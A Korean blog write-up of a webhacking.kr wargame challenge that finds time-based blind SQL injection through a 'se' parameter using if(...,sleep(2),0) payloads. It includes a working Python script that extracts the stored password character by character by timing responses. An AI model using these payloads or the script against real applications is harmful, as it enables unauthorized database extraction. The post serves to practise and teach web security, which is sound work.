se가 secret체크박스의 값임
message와 secret에 addslshes함수 적용
se에서
select, and, or, not, &, |, benchmark 필터링
쿼리문은
insert into chall57(id,msg,pw,op) values('{$_SESSION['id']}','{$_GET['msg']}','{$flag}',{$_GET['se']})
se에서 sql함수를 사용가능해 보임
일단 이문제에서 볼수있는건 메세지를 보냈을 때
Done 밖에 없음
그래서 time based injection이 생각나 해보기로함
msg=1&se=if(length(pw)>0, sleep(2), 0)
이런식으로 해서 작동되는지 보니까
sleep이 먹힌다
msg=1&se=if(length(pw)=24, sleep(2), 0)
pw는 24자리
첫자리는 url노가다로 f인걸로 보임
import time
import requests
url = "https://webhacking.kr/challenge/web-34/index.php"
session = requests.Session()
cookie={"PHPSESSID":"gfphkap47rugn7sgmm59tukl35"}
password = "0x66"
realpw = "f"
for i in range(2,25):
for j in range(43,127):
now = time.time()
req=session.get(url+"?msg=1&se=if(left(pw,"+str(i)+")="+password+format(j,'x')+",%20sleep(2),%200)",cookies=cookie)
if("Done" in req.text):
later = time.time()
if((later-now)>2):
password += format(j,'x')
realpw += chr(j)
print(chr(j)+"is Correct!!!")
break
print(chr(j))
print(realpw)
print(realpw)
'Wargame, CTF > webhacking.kr' 카테고리의 다른 글
Webhacking.kr 13번 (1) | 2020.01.07 |
---|---|
Webhacking.kr 9번 (0) | 2020.01.03 |
Webhacking.kr 45번 (0) | 2020.01.03 |
Webhacking.kr 40번 (0) | 2020.01.03 |
Webhacking.kr 22번 (0) | 2020.01.03 |